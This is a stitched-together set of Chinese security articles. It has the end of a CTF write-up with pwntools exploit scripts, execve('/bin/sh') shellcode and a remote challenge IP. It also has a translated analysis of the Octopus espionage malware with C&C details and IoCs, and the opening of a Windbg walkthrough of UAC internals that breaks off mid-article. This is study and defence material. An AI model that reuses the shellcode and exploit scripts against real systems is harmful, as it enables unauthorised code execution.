# for i in range(8):#0x00000040009b3630 0x4000013EF0
pay = 0x10*'d'+p64(0)+p64(0x31)+p64(0x00000040009b3630-0x18000)
sleep(0.5)#0x40008bc790
s(pay)
sys = 0x40008bc128 - 0x77128 + 0x3f2c8
# sys = 0x000000400085d000+0x4f550 #0x40008bc128
for i in range(1):
sleep(0.5)
s('/bin/sh\x00')
sleep(0.5)
lg('sys',sys)
s(p64(sys))
# s('a')
# ru("pos:1,10\x0a")
# data = r(3)
# data = uu64(data+'\x00\x40')
# lg('data',data)
# c0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# rcx == NULL
# 0x4f432 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# [rsp+0x40] == NULL
# 0x10a41c execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL
#x/30gx 0x4000014078
# x/30gx 0x4000014010
# x/20gx 0x00000040008149b0
# x/10gx x/20gx 0x4000014088
it()
if __name__ == '__main__':
exp()
# 0x2a 1018 add
# 0x2b 1394 set_flag
# 0x2d 14D4
# 0x2f 11f4 delete
# 0x64 2080
# 0x61 1D10
# 0x77 1620
# 0x73 1990
# 0x4d eb8
# 0x70 show
## pwn2 AGame_给转账 | solved
很简单的一道智能合约题，先调用root声明owner，在调用0xb8b8d35a方法即可
交互合约如下
完成交互后提交自己的合约地址即可
## pwn3 SafeContract | solved
简单的数字溢出，随意发送任意数量ether调用despiot都可导致该溢出
交互合约如下
完成交互后提交自己的合约地址即可
## pwn4 quiet || solved
vm题，有一处mmap地址执行，利用getc往那个地方写shellcode，然后执行即可
from pwn import *
p = remote('8.140.179.11', 51322)
#p = process(["qemu-aarch64","-g","1234","-L","/usr/aarch64-linux-gnu","./quiet"])#,env={"LD_PRELOAD":"./libc-2.27.so"})
#----------------------------------------------------------------------------------------- s = lambda data :p.send(str(data)) #in case that data is an int
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
it = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
bp = lambda bkp :pdbg.bp(bkp)
sym = lambda symbol :pdbg.sym(symbol)
#elf=ELF("/lib/x86_64-linux-gnu/libc.so.6") # /lib/x86_64-linux-gnu/libc.so.6 /lib/i386-linux-gnu/libc.so.6
#libc=ELF("")
sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"
#https://www.exploit-db.com/shellcodes
#----------------------------------------------------------------------------------------- shellcode="\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2"+"\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xe0\x63\x21\x8b"+"\xa8\x1b\x80\xd2\xe1\x66\x02\xd4"
pay=(chr(35)+chr(41))*len(shellcode)+chr(71)
sla('cmd> ',pay)
sleep(1)
sl(shellcode)
'''
for i in range(len(shellcode)):
sl(shellcode[i])
sleep(0.1)
'''
it()
## misc1 | | solved
查看日志，发现从1547行开始爆破flag
爆破成功时会sleep 2秒
根据这一点写脚本提取flag
得到
解密得到
## re1 redemption_code | | solved
题目的 python 翻译版本长这样滴：
def check(target, inp):
inputLen = len(inp)
targetLen = len(target)
test = [0] * (inputLen << 10)
test[inp[0]] = 1
tmp = 0
for i in range(inputLen):
for j in range(256):
if j != inp[i]:
test[256 * i + j] = test[256 * tmp + j]
else:
test[256 * i + j] = i + 1
tmp = test[256 * tmp + inp[i]]
tmp2 = 0
for k in range(targetLen):
tmp2 = test[256 * tmp2 + target[k]]
if tmp2 == inputLen:
return k - inputLen + 1
return -1
def pre(inp):
target1 = "Ninja Must Die 3 Is A Cruel Game, So Hard For Me"
if check(target1, inp) == -1:
exit(-2)
inp = "x" * 0xE
pre(inp)
target2 = "I Love Ninja Must Die 3. Beautiful Art And Motive Operation Is Creative."
if check(target2, inp) == 7:
print "flag{%s}" % inp
flag 就是第二个句子偏移 7 的 14 个字符 Ninja Must Die
re2 GoEncrypt | | solved
输入的 flag 要满足正则：
^flag{([0-9a-f]{8})-([0-9a-f]{4})-([0-9a-f]{4})-([0-9a-f]{4})-([0-9a-f]{12})}$
类似 flag{aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee}，然后取出关键部分拼接
aaaaaaaabbbbccccddddeeeeeeeeeeee，hexdecode 得到 16 个字节，前 8 和 后 8 分别用 tea 加密，密钥是
03 02 01 00 07 06 05 04 0B 0A 09 08 0F 0E 0D 0C
由于是乱改的 tea，所以倒过来照抄，写个脚本解密
#include <Windows.h>
#include <iostream>
using namespace std;
void decode(size_t *cipher, size_t *plain)
{
int idx = 0;
size_t v19, v24, v26, v27, a1, v22;
size_t low_dword = cipher[0];
size_t high_dword = cipher[1];
size_t key[] = { 0x00010203, 0x04050607, 0x08090A0B, 0x0C0D0E0F };
v22 = 0x12345678 * 32;
while (idx < 32)
{
v22 -= 0x12345678;
v24 = low_dword;
v26 = v24 + ((v24 >> 5) ^ 16 * v24);
v27 = ((v22 + 0x12345678) >> 11) & 3;
a1 = v26 ^ (v22 + key[v27] + 0x12345678);
high_dword = high_dword - a1;
v19 = high_dword + ((high_dword >> 5) ^ 16 * high_dword);
low_dword = v24 - (v19 ^ (v22 + key[v22 & 3]));
idx++;
}
plain[0] = low_dword;
plain[1] = high_dword;
}
int main() {
size_t plain[4];
size_t cipher[]{ 0x0EC311F0, 0x45C79AF3, 0xEDF5D910, 0x542702CB };
decode(cipher, plain);
decode(cipher + 2, plain + 2);
for (size_t i = 0; i < 4; i++)
{
cout << hex << plain[i];
}
return 0;
}
得到 3bbcf9ea29184fee8a2e201b47dfcb4e，按照正则的要求修改格式即可
crypto1 | | solved
from math import gcd
from functools import reduce
E=EllipticCurve([0,213,0,288,0])
p=E((-200,680))
q=E((-200,680))
cnt=0
r=[]
while 1:
q=q+p
x,y=q[0],q[1]
a=(72-x+y)/(72-18*x)
if(a<0):
continue
b=(72-x-y)/(72-18*x)
if(b<0):
continue
c=(-36-8*x)/(36-9*x)
if(c<0):
continue
p1,q1=a.as_integer_ratio()
p2,q2=b.as_integer_ratio()
p3,q3=c.as_integer_ratio()
A=p1*q2*q3
B=p2*q1*q3
C=p3*q1*q2
#print(A^3+B^3+C^3==5*(A^2*B+A*B^2+A^2*C+A*C^2+B^2*C+B*C^2)+9*A*B*C)
t=reduce(gcd, [A,B,C])
r.append((A//t,B//t,C//t))
cnt+=1
print("ok")
if(cnt==6):
break
print(r)
用变换把方程转换为椭圆曲线，然后用生成元的倍数去试，检查解出来的a,b,c是不是为正数即可，然后通分化简为整数
## crypto2 | | solved
n1=90491363059261404858550634231628058963249510634056675949243050070342967726901705474014306927602327030350384724177110635460575819174999690119596483244243479600712538918767265671875210900320134535674577409813015049083534046496520463201426519076941111176300156840093523729587718662300148396809204630544859119149
e1=168885479631267618895786982845222604163453078896291533672682347591744598107689212526033974774513653433252346257997820414442658988591213688157626171903932299809982342730274878146639873845642550557892032102862465267830686337683681811035549767605127670639313526152274657121913611059493817170297018143021110779877
n2=95095659207029012582441281486144446868010823436167102942651286702532916783769809925573460637458450988006229579100306132641666284428903268946094064959939187731480872200371279589619799501099719647308276024427981251602812835714397316315251516049360167072367461142715945513735666944539297649274039644651643860709
e2=803083831363140689387491043859995397264097623843277450416122235772461812328647926123252685647971839611777215549762999753046866799101827482369517811418620191075968232200493026341022069951100818193450315629944185492666858982140493791542156525823304188919134830223972206436313384674434426205057120372785617239573
n3=79783914666941430193016422767234758486269300813425360037124961732818657481292239838325070399038041076030925132009832656732232485316489140378503241203611852385887657171830207427052240486122880429096750734201402521125250313116205524437146696335787282704143922449422332849550092832299254353363532151938268614467
e3=684492483256695788393129421198297524550481983825005067209597057774764109623746650728270481031194051696472334243263072636994984124025741021144411447925322543452713770032130935145684958475930669835466496158115635503193348699515511486332577820479935984969535141042375968326457182345240372145420230964104483785721
M=int(sqrt(max(n1,n2,n3)))
A=Matrix([[M,e1 ,e2 , e3],
[0,-n1,0 , 0],
[0,0 ,-n2, 0],
[0,0 ,0, -n3]])
r=A.LLL()[0]
t=6448620018588099396425434204075361085979505748421825391542928414037428401295999009398540542847674486590236258924166930776729142654822781998610732637074093747573878661308426284101993788074712212468655888538506429550109526389221508968338088792276719947679295618317170761
x=t//M
y1=(e1*x-r[1])//n1
y2=(e2*x-r[2])//n2
y3=(e3*x-r[3])//n3
R=[]
R.append([x,y1])
R.append([x,y2])
R.append([x,y3])
print(R)
因为共用x，用格很容易求解，同时也可以接出来y
masked_flag = 10629883656219490982178951599484437698263214790268091560719514148215968944141123323489358824379735126966804354267426040231682908197526817342035901781691470
ciphertexts = [{'n': 90491363059261404858550634231628058963249510634056675949243050070342967726901705474014306927602327030350384724177110635460575819174999690119596483244243479600712538918767265671875210900320134535674577409813015049083534046496520463201426519076941111176300156840093523729587718662300148396809204630544859119149, 'e': 168885479631267618895786982845222604163453078896291533672682347591744598107689212526033974774513653433252346257997820414442658988591213688157626171903932299809982342730274878146639873845642550557892032102862465267830686337683681811035549767605127670639313526152274657121913611059493817170297018143021110779877, 'c': (0, 90491363059261404858550634231628058963249510634056675949243050070342967726901705474014306927602327030350384724177110635460575819174999690119596483244243469196198986120292668239952402666838171832151959642809949669793954518190032439693973116745657766490465383207136884797416616202864323502381586901806453928514), 'hint': 25663983998278288319474560705}, {'n': 95095659207029012582441281486144446868010823436167102942651286702532916783769809925573460637458450988006229579100306132641666284428903268946094064959939187731480872200371279589619799501099719647308276024427981251602812835714397316315251516049360167072367461142715945513735666944539297649274039644651643860709, 'e': 803083831363140689387491043859995397264097623843277450416122235772461812328647926123252685647971839611777215549762999753046866799101827482369517811418620191075968232200493026341022069951100818193450315629944185492666858982140493791542156525823304188919134830223972206436313384674434426205057120372785617239573, 'c': (0, 95095659207029012582441281486144446868010823436167102942651286702532916783769809925573460637458450988006229579100306132641666284428903268946094064959939176080644834649736585931140833237424823927852722577715067469685760622261935834373569238657224079294882287377105449565799679890984772111495083088228691564783), 'hint': 47787248251787907615149478523}, {'n': 79783914666941430193016422767234758486269300813425360037124961732818657481292239838325070399038041076030925132009832656732232485316489140378503241203611852385887657171830207427052240486122880429096750734201402521125250313116205524437146696335787282704143922449422332849550092832299254353363532151938268614467, 'e': 684492483256695788393129421198297524550481983825005067209597057774764109623746650728270481031194051696472334243263072636994984124025741021144411447925322543452713770032130935145684958475930669835466496158115635503193348699515511486332577820479935984969535141042375968326457182345240372145420230964104483785721, 'c': (73041862154157371674229064670550888409216140053451529283374004436651536110734376938918521442316738516203639268463111472485680083502732108867931825491194808519825096059573881206695909907258008432595237281363578731293669489033897367074393143363419088244861083645807156213390581687771017186306856077620367500647, 77837817707573379707151623790394892748771598114914937592003582442426802996364758601494359727747880510291001949424184772858956540706002999451105625873493875954677023151702166989487010859391554750093501077015364319622792488092868684171640035107565651570183298377905027193006475189322440398876152882180702841119), 'hint': 6902140684527896190268467067}]
masks = []
r=[[661281602633708663826486920028427898009447098405701242291443669957936453059596989424786500921975783032016279781143, 1234160442019081205971633839080171591517296670682179517951651316669120445932747593240541724314677115317356928552223], [661281602633708663826486920028427898009447098405701242291443669957936453059596989424786500921975783032016279781143, 5584530014107972751790443286838215319435330117138078723753388886031684850098305720586321389113525873796692845334453], [661281602633708663826486920028427898009447098405701242291443669957936453059596989424786500921975783032016279781143, 5673352682784161640574325568051734030879350274946435727408336124736359465461431142246637344016863104357076555679503]]
cnt=0
for ct in ciphertexts:
c, n, e, hint = ct['c'], ct['n'], ct['e'], ct['hint']
#x, y = recover_x_and_y(e, n)
x,y=r[cnt]
cnt+=1
p_plus_q_approx = (x*e + x)//y - 1 - n
p_approx = (p_plus_q_approx + isqrt(p_plus_q_approx^2 - 4 * n)) // 2
p_top = p_approx >> 312
P.<x> = PolynomialRing(Zmod(n), implementation='NTL')
f = 2^312 * p_top + 2^96 * x + hint
f = f.monic()
delta = f.small_roots(X=2^216, beta=0.5, epsilon=0.05)[0]
p = int(2^312 * p_top + 2^96 * delta + hint)
q = n//p
d = inverse_mod(e, (p+1)*(q+1))
masks.append(decrypt(c, d, n))
flag = reduce(lambda a, b: a ^^ b, masks, masked_flag)
print(bytes.fromhex(hex(flag)[2:]).decode())
求出x,y后，后面确定下来p的高位和低位，只有中间位不知道，用coppersmith即可
后面的正常解密出flag
## 结语
我目前主攻二进制方向，windows kernel，linux
kernel，v8，jsc，qemu，vmware逃逸都玩，但都很菜，现在主要精力在fuzz工具的研究上。我喜欢交朋友，我的[github](https://github.com/now4yreal)会分享一些ctf好的题目以及研究的一些小玩意和cve分析repo，欢迎大家加我交流。
另外fr3e主力pwn手[wi1l](https://github.com/Wi1L-Y)大佬目前主攻浏览器安全以及blabla，属于全能选手，欢迎大家follow～
live long and pwn，祝大家玩的开心。 | 社区文章 |
# 瞄准中亚政治实体：针对Octopus恶意软件新样本的技术分析
|
##### 译文声明
本文是翻译文章，文章来源：securelist.com
原文地址：<https://securelist.com/octopus-infested-seas-of-central-asia/88200/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、概述
在过去的两年中，我们持续在监测一个针对中亚用户和外交实体的网络间谍活动，该活动使用的语言为俄文。我们将这一恶意活动背后的组织命名为DustSquad。我们监测到该组织在过去开展了4起恶意活动，在活动中使用了Android和Windows的恶意软件，我们此前已经向部分客户提供了这4起恶意活动的情报报告。在本文中，我们主要分析一个名为Octopus的恶意Windows恶意程序，该恶意程序主要针对外交实体。
该恶意程序最初是由ESET于2017年发现，他们在一些弃用的C&C服务器上找到了0ct0pus3.php脚本，该恶意程序也因此而得名。同时，我们也开始监控这一恶意软件，并使用基于相似性算法的Kaspersky
Attribution
Engine，发现了Octopus与DustSquad组织具有关联，并在2018年4月公布这一成果。根据我们的监测结果，可以追溯到2014年针对前苏联中亚共和国和阿富汗的恶意活动。
Octopus使用了Delphi作为其编程语言，这是非常罕见的。除了这一恶意软件之外，还有俄语的Zebrocy（由Sofacy组织编写）、印地语的DroppingElephant和土耳其语的StrongPity。尽管我们发现有主机同时感染了Zebrocy和Octopus，但由于没有发现二者之间存在任何相似性，因此认为这两个恶意软件是无关的。
## 二、新样本简述
2018年4月，我们发现了一个新的Octopus样本，该样本伪装为哈萨克斯坦反对派政治团体的通信软件。恶意软件被打包为ZIP文件，名称为dvkmailer.zip，其时间戳为2018年2-3月。其中DVK表示哈萨克斯坦民主选择（Kazakhstan
Democratic Choice），这是一个在该国被禁止的反对派政党。该党俄语名称（Демократический Выбор
Казахстана）的首字母缩写为ДВК，转换成英文即为DVK。该政党广泛使用Telegram进行通信，并使得Telegram成为哈萨克斯坦暗中禁用的一个软件，这一禁令也成为该国的一大热门话题。这一Dropper伪装成俄语界面的Telegram
Messenger。
而针对本次发现的新样本，我们目前没有找到它是冒充了哪一款软件。事实上，我们认为这次的样本并没有冒充其他软件。该木马使用了第三方Delphi库，包括基于JSON实现C&C通信的Indy和用于压缩的TurboPower
Abbrevia（ sourceforge.net/projects/tpabbrevia
）。恶意软件通过修改系统注册表来实现持久化。其服务器端是将.php脚本部署在不同国家的商业服务器上。Kaspersky
Lab将Octopus木马检测为Trojan.Win32.Octopus.gen。
## 三、技术分析
攻击者利用哈萨克斯坦对Telegram的禁令，将该恶意Dropper推动成为替代Telegram的通信软件，提供给反对派使用。
Telegram messenger以最简单的方式建立网络模块持久性，并启动该模块：
尽管我们清楚，该恶意软件是使用了某种形式的社会工程，但目前无法确认具体的分发方式。此前，这一恶意组织曾使用过鱼叉式网络钓鱼来传播恶意软件。
### 3.1 Dropper
MD5哈希值： 979eff03faeaeea5310df53ee1a2fc8e
名称：dvkmailer.zip
压缩包内容：
CsvHelper.dll（d6e813a393f40c7375052a15e940bc67） 合法.NET CSV文件解析器
Telegram Messenger.exe（664a15bdc747c560c11aa0cf1a7bf06e） 持久化和启动工具
TelegramApi.dll（87126c8489baa8096c6f30456f5bef5e） 网络模块
Settings.json（d41d8cd98f00b204e9800998ecf8427e） 空文件
### 3.2 启动程序
MD5哈希值：664a15bdc747c560c11aa0cf1a7bf06e
文件名：Telegram Messenger.exe
PE时间戳：2018.03.18 21:34:12 （GMT）
链接器版本：2.25（Embarcadero Delphi）
在进行用户交互之前，启动程序会检查同一目录中是否存在名为TelegramApi.dll的文件（在FormCreate()函数实现）。如果存在，启动程序会将网络模块复制到启动（Startup）目录中，重命名为Java.exe并运行。
Delphi Visual Component Library（VCL）程序基于表单元素（Form
Elements）的事件处理程序。这些程序非常大（大约2.6MB，包含12000多个函数），但所有这些代码主要用于处理可视化组件和运行时库（Run-time
Library）。只有3个定义的处理程序用于控制Octopus启动程序内的元素。
1、FormCreate()：在进行用户活动之前，作为构造函数运行。通过Startup目录，保证网络模块的持久性，并运行网络模块。
2、Button1Click()：显示资源管理器对话框窗口，以选择“发送文件”。
3、DateTimePicker1Click()：显示日历，以选择“发送日期”。
“发送邮件”的按钮没有其对应的处理程序，因此这一启动程序假装是另一种通信软件，实际上没有任何作用。其原因可能在于恶意软件还没有编写完成，毕竟通过该软件发送的信息，实际上很可能是有价值的。我们认为，该恶意软件很可能是匆忙编写而成的，攻击者受到时间的限制，决定跳过通信功能。
### 3.3 网络模块
C&C通信方案：
MD5哈希值：87126c8489baa8096c6f30456f5bef5e
文件名：TelegramApi.dll
PE时间戳：2018.02.06 11:09:28 （GMT）
链接器版本：2.25（Embarcadero Delphi）
尽管具有文件扩展名，但该网络模块实际上是一个可移植可执行文件，该文件不依赖于其他文件，并非动态链接库。第一个样本中会检查用户临时文件夹中是否存在名称为1?????????.*的文件，如果找到则会将这些文件删除。然后，在Application
Data目录中创建一个.profiles.ini文件，用于存储恶意软件的日志。
HTTP请求与响应内容如下：
1、（请求）GET /d.php?check
（响应）JSON “ok”
2、（请求）GET /d.php?servers
（响应）JSON域名
3、（请求）GET /i.php?check=
（响应）JSON “ok”
4、（请求）POST /i.php?query=
（响应）JSON响应代码或命令取决于POST的数据
第一阶段的.php脚本检查连接，并获取C&C域名：
所有网络模块都包含来自不同国家的IP地址，这些地址以硬编码形式保存，全部属于购买的商用服务器。攻击者只需要在其中部署第一阶段的.php脚本，它将检查连接，并使用HTTP
GET请求获取实际的C&C服务器域名。
在进行初始连通性检查后，恶意软件会收到带有实际C&C域名的JSON：
然后，网络模块检查被感染用户的ID（以硬编码形式保存）：
在检查被感染用户32位的ID之后，使用HTTP
POST请求，将收集到的数据发送到C&C服务器。从编程角度来看，这个ID非常奇怪，因为恶意软件是用其系统数据的MD5哈希值作为标识用户身份的“指纹”。
在HTTP POST请求中，查看到经过Base64编码后的用户数据：
与C&C服务器的所有通信，都基于JSON格式的数据和HTTP协议。为此，恶意软件编写者使用了Indy项目（ indyproject.org
）中公开的一些库，同时还使用了第三方工具TurboPower Abbrevia（ sourceforge.net/projects/tpabbrevia
）进行压缩。
在发送所有初始HTTP
GET请求后，恶意软件开始收集JSON格式的系统数据。其中包括系统中所有驱动器磁盘名称和大小、计算机名称、用户名、Windows目录、主机IP等。有一个有趣的字段是“vr”，其值为2.0，似乎是其通信协议中加入了恶意软件的版本信息。
“id”字段中保存被感染主机的指纹信息，恶意软件主动使用WMI（Windows Management
Instrumentation）获取信息。该木马使用以下参数运行WMIC.exe：
C:WINDOWSsystem32wbemWMIC.exe computersystem get Name /format:list
C:WINDOWSsystem32wbemWMIC.exe os get installdate /format:list
C:WINDOWSsystem32wbemWMIC.exe path CIM_LogicalDiskBasedOnPartition get Antecedent,Dependent
随后，该模块计算ID的MD5哈希值，作为被感染主机的最终ID。“act”字段用于对通信阶段进行编号（初始的指纹识别过程编号为0）。在此之后，HTTP
POST控制服务器返回一个JSON {“rt”:”30″}，客户端继续通过HTTP POST方式发送下一个“act”：
此时，C&C会发送包含执行命令的JSON，其命令包括上传文件、下载文件、获取屏幕截图以及在主机上查找*.rar文件。
### 3.4 其他软件
除了木马本身，Octopus编写者还使用了密码转储实用程序fgdump。
从.php脚本中获取到最新样本（2017年-2018年期间发现）的硬编码IP和对应Web域名如下：
## 四、结论
在2018年，一些恶意组织纷纷将目标对准了中亚的政治实体，其中包括IndigoZebra、Sofacy（使用Zebrocy恶意软件）和我们本文所分析的DustSquad（使用Octopus恶意软件）。我们发现，有一些特定的地区，几乎成为了所有恶意组织所针对的目标，就像是一个巨大的“威胁磁铁”。针对这些特定地区，攻击者们表现出极高的兴趣，并且不断有新组织投入对该地区的攻击活动当中，比如DustSquad就是一个这样的新型组织。
## 五、IoC
### 5.1 恶意文件哈希值
87126c8489baa8096c6f30456f5bef5e
ee3c829e7c773b4f94b700902ea3223c
38f30749a87dcbf156689300737a094e
6e85996c021d55328322ce8e93b31088
7c0050a3e7aa3172392dcbab3bb92566
2bf2f63c927616527a693edf31ecebea
d9ad277eb23b6268465edb3f68b12cb2
### 5.2 域名和IP地址
85.93.31.141
104.223.20.136
5.8.88.87
103.208.86.237
185.106.120.240
204.145.94.101
5.188.231.101
103.208.86.238
185.106.120.27
204.145.94.10
hovnanflovers.com
latecafe.in
certificatesshop.com
blondehairman.com
porenticofacts.com
### 5.3 上传/下载文件的辅助URL
www.fayloobmennik.net/files/save_new.html
<http://uploadsforyou.com/download/>
<http://uploadsforyou.com/remove/>
下列IoC已经不再使用，但可用于检测威胁：
031e4900715564a21d0217c22609d73f
1610cddb80d1be5d711feb46610f8a77
1ce9548eae045433a0c943a07bb0570a
3a54b3f9e9bd54b4098fe592d805bf72
546ab9cdac9a812aab3e785b749c89b2
5cbbdce774a737618b8aa852ae754251
688854008f567e65138c3c34fb2562d0
6fda541befa1ca675d9a0cc310c49061
73d5d104b34fc14d32c04b30ce4de4ae
88ad67294cf53d521f8295aa1a7b5c46
a90caeb6645b6c866ef60eb2d5f2d0c5
ae4e901509b05022bbe7ef340f4ad96c
ca743d10d27277584834e72afefd6be8
ce45e69eac5c55419f2c30d9a8c9104b
df392cd03909ad5cd7dcea83ee6d66a0
e149c1da1e05774e6b168b6b00272eb4
f625ba7f9d7577db561d4a39a6bb134a
fc8b5b2f0b1132527a2bcb5985c2fe6b
f7b1503a48a46e3269e6c6b537b033f8
4f4a8898b0aa4507dbb568dca1dedd38
### 5.4 第一阶段.php脚本下载源
148.251.185.168
185.106.120.46
185.106.120.47
46.249.52.244
5.255.71.84
5.255.71.85
88.198.204.196
92.63.88.142
### 5.5 .php脚本返回域名
giftfromspace.com
mikohanzer.website
humorpics.download
desperados20.es
prom3.biz.ua | 社区文章 |
# 在Windbg中明查OS实现UAC验证全流程——三个进程之间的"情爱"[2]
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0、引言
想目睹所谓的“白名单”列表吗？想自己逆向找到这些“可信路径”吗？那就来吧！在前一篇《在Windbg中明查OS实现UAC验证全流程——三个进程之间的”情爱”[1]》种讲解了explorer拉起一个白名单程序的过程，分析到了explorer老大哥“甩锅”的套路，这次分析AIS是怎么干活的。
整个系列涉及到的知识：
0、Windbg调试及相关技巧；
1、OS中的白名单及白名单列表的窥探；
2、OS中的受信目录及受信目录列表的查询；
3、窗口绘制[对,你没看错,提权窗口就涉及到绘制]；
4、程序内嵌的程序的Manifest；
5、服务程序的调试；
## 1、找到关键点
AIS全称是AppInfo
Server，微软当初起这个名字估计也是因为它的工作内容决定的。其主要负责检查即将创建的子进程是否满足提权的要求，比如说是否带有微软的签名，是否在可信目录下，是否有自动提权标记等等等。如果不满足，那OK，弹框吧，甩锅给用户。本篇文章主要的工作就是找到AIS是怎么一步一步校验的。那第一步便是找到其进行RPC通信的起点了。最有效的方法当然是挂调试器，看调用栈。服务也是进程，没啥本质区别，Windbg也一样能干它。如下：
0:004> ~*k
0 Id: 2168.216c Suspend: 1 Teb: 000000e1`0531b000 Unfrozen
# Child-SP RetAddr Call Site
00 000000e1`050af578 00007ffd`d9c99252 ntdll!NtWaitForSingleObject+0x14
01 000000e1`050af580 00007ffd`dcb4955b KERNELBASE!WaitForSingleObjectEx+0xa2
02 000000e1`050af620 00007ffd`dcb48ffd sechost!ScSendResponseReceiveControls+0x13b
03 000000e1`050af760 00007ffd`dcb48b24 sechost!ScDispatcherLoop+0x15d
04 000000e1`050af8a0 00007ff6`f8ca17a9 sechost!StartServiceCtrlDispatcherW+0x54
05 000000e1`050af8d0 00007ff6`f8ca4688 svchost!wmain+0x29
06 000000e1`050af900 00007ffd`dc264034 svchost!_wmainCRTStartup+0x74
07 000000e1`050af930 00007ffd`dd713691 KERNEL32!BaseThreadInitThunk+0x14
08 000000e1`050af960 00000000`00000000 ntdll!RtlUserThreadStart+0x21
1 Id: 2168.4720 Suspend: 1 Teb: 000000e1`0527e000 Unfrozen
# Child-SP RetAddr Call Site
00 000000e1`051af818 00007ffd`dd6c6866 ntdll!NtWaitForWorkViaWorkerFactory+0x14
01 000000e1`051af820 00007ffd`dc264034 ntdll!TppWorkerThread+0x536
02 000000e1`051afb10 00007ffd`dd713691 KERNEL32!BaseThreadInitThunk+0x14
03 000000e1`051afb40 00000000`00000000 ntdll!RtlUserThreadStart+0x21
2 Id: 2168.21dc Suspend: 1 Teb: 000000e1`05329000 Unfrozen
# Child-SP RetAddr Call Site
00 000000e1`0557f768 00007ffd`dd6c6866 ntdll!NtWaitForWorkViaWorkerFactory+0x14
01 000000e1`0557f770 00007ffd`dc264034 ntdll!TppWorkerThread+0x536
02 000000e1`0557fa60 00007ffd`dd713691 KERNEL32!BaseThreadInitThunk+0x14
03 000000e1`0557fa90 00000000`00000000 ntdll!RtlUserThreadStart+0x21
3 Id: 2168.4f58 Suspend: 1 Teb: 000000e1`05270000 Unfrozen
# Child-SP RetAddr Call Site
00 000000e1`054ff568 00007ffd`dd6c6866 ntdll!NtWaitForWorkViaWorkerFactory+0x14
01 000000e1`054ff570 00007ffd`dc264034 ntdll!TppWorkerThread+0x536
02 000000e1`054ff860 00007ffd`dd713691 KERNEL32!BaseThreadInitThunk+0x14
03 000000e1`054ff890 00000000`00000000 ntdll!RtlUserThreadStart+0x21
# 4 Id: 2168.3868 Suspend: 1 Teb: 000000e1`05280000 Unfrozen
# Child-SP RetAddr Call Site
00 000000e1`0567fac8 00007ffd`dd7694cb ntdll!DbgBreakPoint
01 000000e1`0567fad0 00007ffd`dc264034 ntdll!DbgUiRemoteBreakin+0x4b
02 000000e1`0567fb00 00007ffd`dd713691 KERNEL32!BaseThreadInitThunk+0x14
03 000000e1`0567fb30 00000000`00000000 ntdll!RtlUserThreadStart+0x21
其中1、2、3号线程暂时可以忽略，这是线程池中的Work线程，通常是OS帮着创建的。4号线程是调试器创建的假把戏。重点在1号线程。先来看下NtWaitForSingleObject()等待的是啥。看下WaitForSingleObjectEx()的参数传入，需要做点分析，如下：
由此可知，WaitForSingleObjectEx()第一个参数存在于rsp+0x48中，这显然是一个内存地址，只要找到他便可以顺藤摸瓜了。找到这块内存的方法是找到rsp在那会的值。这个可以手动计算，如下：
那么sechost!ScSendResponseReceiveControls函数调用KERNELBASE!WaitForSingleObjectEx时，其RSP便是000000e1`050af620[需要说明的是，这里给出的堆栈可以直接知道这个数据，但在x64下，很多时候这个数据是不可靠的]，好了，现在来看看
hHandle
0:000> dq 000000e1`050af620+48 l1
000000e1`050af668 00000000`00000144
在详细的看下这个句柄的其他信息，如下：
是个事件，好了，到此打住。此条路似乎不通。但玩过RPC的同志，应该都知道有这么一个大佬—— RPCRT4!Invoke()
## 2、Try Again——寻找关键点
在RPCRT4!Invoke()处下断点，如下：
0:003> bp RPCRT4!Invoke
breakpoint 3 redefined
0:003> g
Breakpoint 3 hit
RPCRT4!Invoke:
00007ffd`dd4e43a0 4883ec38 sub rsp,38h
0:003> k
# Child-SP RetAddr Call Site
00 000000e1`054ff168 00007ffd`dd54b417 RPCRT4!Invoke
01 000000e1`054ff170 00007ffd`dd49d4e4 RPCRT4!Ndr64AsyncServerWorker+0x417
02 000000e1`054ff280 00007ffd`dd49c648 RPCRT4!DispatchToStubInCNoAvrf+0x24
03 000000e1`054ff2d0 00007ffd`dd49d124 RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x1d8
04 000000e1`054ff3a0 00007ffd`dd4a5eed RPCRT4!RPC_INTERFACE::DispatchToStubWithObject+0x154
05 000000e1`054ff440 00007ffd`dd4a6aac RPCRT4!LRPC_SCALL::DispatchRequest+0x18d
06 000000e1`054ff520 00007ffd`dd4a290d RPCRT4!LRPC_SCALL::HandleRequest+0x86c
07 000000e1`054ff640 00007ffd`dd4a400d RPCRT4!LRPC_ADDRESS::HandleRequest+0x33d
08 000000e1`054ff6e0 00007ffd`dd48d0b8 RPCRT4!LRPC_ADDRESS::ProcessIO+0x8ad
09 000000e1`054ff820 00007ffd`dd6c7c9e RPCRT4!LrpcIoComplete+0xd8
0a 000000e1`054ff8c0 00007ffd`dd6c6588 ntdll!TppAlpcpExecuteCallback+0x22e
0b 000000e1`054ff940 00007ffd`dc264034 ntdll!TppWorkerThread+0x258
0c 000000e1`054ffc30 00007ffd`dd713691 KERNEL32!BaseThreadInitThunk+0x14
0d 000000e1`054ffc60 00000000`00000000 ntdll!RtlUserThreadStart+0x21
妥妥的断下来了。那来分析下关键参数把。
RPCRT4!Invoke()的原型和实现如下：
